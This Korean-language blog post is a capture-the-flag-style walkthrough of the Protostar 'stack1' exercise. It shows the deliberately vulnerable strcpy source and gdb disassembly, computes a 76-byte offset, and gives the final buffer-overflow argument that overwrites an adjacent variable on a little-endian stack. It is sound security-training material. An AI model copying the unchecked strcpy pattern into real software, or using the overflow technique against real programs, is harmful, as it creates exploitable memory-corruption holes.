Security_RNRF
STACK ONE 본문
STACK ONE
This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory.
This level is at /opt/protostar/bin/stack1
Hints
- If you are unfamiliar with the hexadecimal being displayed, “man ascii” is your friend.
- Protostar is little endian
Link - https://exploit.education/protostar/stack-one/#source-code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
이전 시간에는 "modified"가 "0"인지, 아닌지를 판단했을뿐 이었다. 하지만, 이번에는 "modified" 변수에 "0x61626364"의 값을 넣어야지만 성공할 수 있다. 즉, 정확한 위치에, 정확한 값을 넣어야하는 것이다.
그러한 위치를 찾기 위해서는 gdb를 통해서 연산을 해보면 된다.
root@kali:~/Desktop/protostar# gdb ./stack1
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x0000000000401152 <+0>: push rbp
0x0000000000401153 <+1>: mov rbp,rsp
0x0000000000401156 <+4>: sub rsp,0x60
0x000000000040115a <+8>: mov DWORD PTR [rbp-0x54],edi
0x000000000040115d <+11>: mov QWORD PTR [rbp-0x60],rsi
0x0000000000401161 <+15>: cmp DWORD PTR [rbp-0x54],0x1
0x0000000000401165 <+19>: jne 0x40117d <main+43>
0x0000000000401167 <+21>: lea rsi,[rip+0xe9a] # 0x402008
0x000000000040116e <+28>: mov edi,0x1
0x0000000000401173 <+33>: mov eax,0x0
0x0000000000401178 <+38>: call 0x401050 <errx@plt>
0x000000000040117d <+43>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000401184 <+50>: mov rax,QWORD PTR [rbp-0x60]
0x0000000000401188 <+54>: add rax,0x8
0x000000000040118c <+58>: mov rdx,QWORD PTR [rax]
0x000000000040118f <+61>: lea rax,[rbp-0x50]
0x0000000000401193 <+65>: mov rsi,rdx
0x0000000000401196 <+68>: mov rdi,rax
0x0000000000401199 <+71>: call 0x401030 <strcpy@plt>
0x000000000040119e <+76>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004011a1 <+79>: cmp eax,0x61626364
0x00000000004011a6 <+84>: jne 0x4011b6 <main+100>
0x00000000004011a8 <+86>: lea rdi,[rip+0xe79] # 0x402028
0x00000000004011af <+93>: call 0x401040 <puts@plt>
0x00000000004011b4 <+98>: jmp 0x4011cc <main+122>
0x00000000004011b6 <+100>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004011b9 <+103>: mov esi,eax
0x00000000004011bb <+105>: lea rdi,[rip+0xe9d] # 0x40205f
0x00000000004011c2 <+112>: mov eax,0x0
0x00000000004011c7 <+117>: call 0x401060 <printf@plt>
0x00000000004011cc <+122>: mov eax,0x0
0x00000000004011d1 <+127>: leave
0x00000000004011d2 <+128>: ret
End of assembler dump.
0x00000000004011a1 <+79>: cmp eax,0x61626364
해당 라인이 비교하는 구문으로 나온다.
해당 데이터(eax,0x61626364)는 modified에서 가져왔으니까, modified는 [rbp-0x4] 위치인 것으로 파악이 된다.
그렇다면 buffer의 위치는 어디인가? buffer는 strcpy를 통해서 가지고 왔을것이다.
strcpy 함수는 두개의 인자값을 필요로 한다.
0x000000000040118f <+61>: lea rax,[rbp-0x50]
0x0000000000401193 <+65>: mov rsi,rdx
0x0000000000401196 <+68>: mov rdi,rax
0x0000000000401199 <+71>: call 0x401030 <strcpy@plt>
rsi는 출발지, rdi는 도착지이다. strcpy(buffer, argv[1]); 의 buffer와 argv[1]를 의미한다고 예상된다.
rsi로부터 rdi를 복사할 것이다. 결국 rdi는 buffer의 위치를 뜻하고, rdi는 rax에서 가지고 왔으며, rax는 [rbp-0x50]에서 가지고 왔다.
지금까지 찾은 두 개의 부분이 나란히 메모리에 쓰여 있을 것이다.
buffer = rbp-0x50
modified = rbp-0x4
그렇다면 modified를 덮어쓰려면 얼마만큼의 값이 필요한가?
계산기를 통해서 계산해보면~


10진수로 "76"이다. 그렇기 때문에 "A"를 76개 넣으면 modified까지 간다.
테스트할 겸 마지막에 BBBB를 채워주고 확인해본다.
root@kali:~/Desktop/protostar# python -c "print('A'*76)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
브레이크 포인트를 걸어둔 후, 해당 문자열을 집어넣고 테스트 해본다.
root@kali:~/Desktop/protostar# gdb ./stack1(gdb) set disassembly-flavor intel
(gdb) b *main+79
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Starting program: /root/Desktop/protostar/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Breakpoint 1, 0x00000000004011a1 in main ()
(gdb) disas main
Dump of assembler code for function main:
0x0000000000401152 <+0>: push rbp
0x0000000000401153 <+1>: mov rbp,rsp
0x0000000000401156 <+4>: sub rsp,0x60
0x000000000040115a <+8>: mov DWORD PTR [rbp-0x54],edi
0x000000000040115d <+11>: mov QWORD PTR [rbp-0x60],rsi
0x0000000000401161 <+15>: cmp DWORD PTR [rbp-0x54],0x1
0x0000000000401165 <+19>: jne 0x40117d <main+43>
0x0000000000401167 <+21>: lea rsi,[rip+0xe9a] # 0x402008
0x000000000040116e <+28>: mov edi,0x1
0x0000000000401173 <+33>: mov eax,0x0
0x0000000000401178 <+38>: call 0x401050 <errx@plt>
0x000000000040117d <+43>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000401184 <+50>: mov rax,QWORD PTR [rbp-0x60]
0x0000000000401188 <+54>: add rax,0x8
0x000000000040118c <+58>: mov rdx,QWORD PTR [rax]
0x000000000040118f <+61>: lea rax,[rbp-0x50]
0x0000000000401193 <+65>: mov rsi,rdx
0x0000000000401196 <+68>: mov rdi,rax
0x0000000000401199 <+71>: call 0x401030 <strcpy@plt>
0x000000000040119e <+76>: mov eax,DWORD PTR [rbp-0x4]
=> 0x00000000004011a1 <+79>: cmp eax,0x61626364
0x00000000004011a6 <+84>: jne 0x4011b6 <main+100>
0x00000000004011a8 <+86>: lea rdi,[rip+0xe79] # 0x402028
0x00000000004011af <+93>: call 0x401040 <puts@plt>
0x00000000004011b4 <+98>: jmp 0x4011cc <main+122>
0x00000000004011b6 <+100>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004011b9 <+103>: mov esi,eax
0x00000000004011bb <+105>: lea rdi,[rip+0xe9d] # 0x40205f
0x00000000004011c2 <+112>: mov eax,0x0
0x00000000004011c7 <+117>: call 0x401060 <printf@plt>
0x00000000004011cc <+122>: mov eax,0x0
0x00000000004011d1 <+127>: leave
0x00000000004011d2 <+128>: ret
End of assembler dump.
원하는 부분에 브레이크 포인트가 걸린것을 확인할 수 있다. 현재 eax에 무엇이 있는지가 궁금하기 때문에 확인해본다.
(gdb) info reg $eax
eax 0x42424242 1111638594
-> eax에 0x42424242, 즉 "BBBB"가 들어가 있는 것을 확인할 수 있다.
원하는 장소에 정확히 값이 들어간 것을 한번 더 확인해본다.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/protostar/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd
Breakpoint 1, 0x00000000004011a1 in main ()
(gdb) info reg $eax
eax 0x64636261 1684234849
해당 라인에 0x64636261이 들어가 있는것을 확인했는데, 사실상 modified에 원하는 값인 0x61626364와 일치하지 않는다.
사실 스택에 들어갔을때 abcd로 넣었을때는 이쁘게 보이지만, 메모리 상으로 데이터를 읽어들일때는 거꾸로 읽는다. 주의해야 할 점이다.
즉, AAAA....dcba로 넣어줘야 원하는 값이 출력된다.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/protostar/stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
Breakpoint 1, 0x00000000004011a1 in main ()
(gdb) info reg $eax
eax 0x61626364 1633837924
원하는 값이 정확히 들어간것을 확인 할 수 있다. continue를 이용해서 브레이크 포인트 이후를 진행시켜본다.
(gdb) conti
Continuing.
you have correctly got the variable to the right value
[Inferior 1 (process 4127) exited normally]
원하는 답이 출력 되는것을 확인 할 수 있다.
결론 : root@kali:~/Desktop/protostar# ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
you have correctly got the variable to the right value
'Reversing > Protostar' 카테고리의 다른 글
| STACK FIVE (0) | 2022.07.10 |
|---|---|
| STACK FOUR (0) | 2022.07.07 |
| STACK THREE (0) | 2022.07.05 |
| STACK TWO (0) | 2022.07.04 |
| STACK ZERO (0) | 2022.06.03 |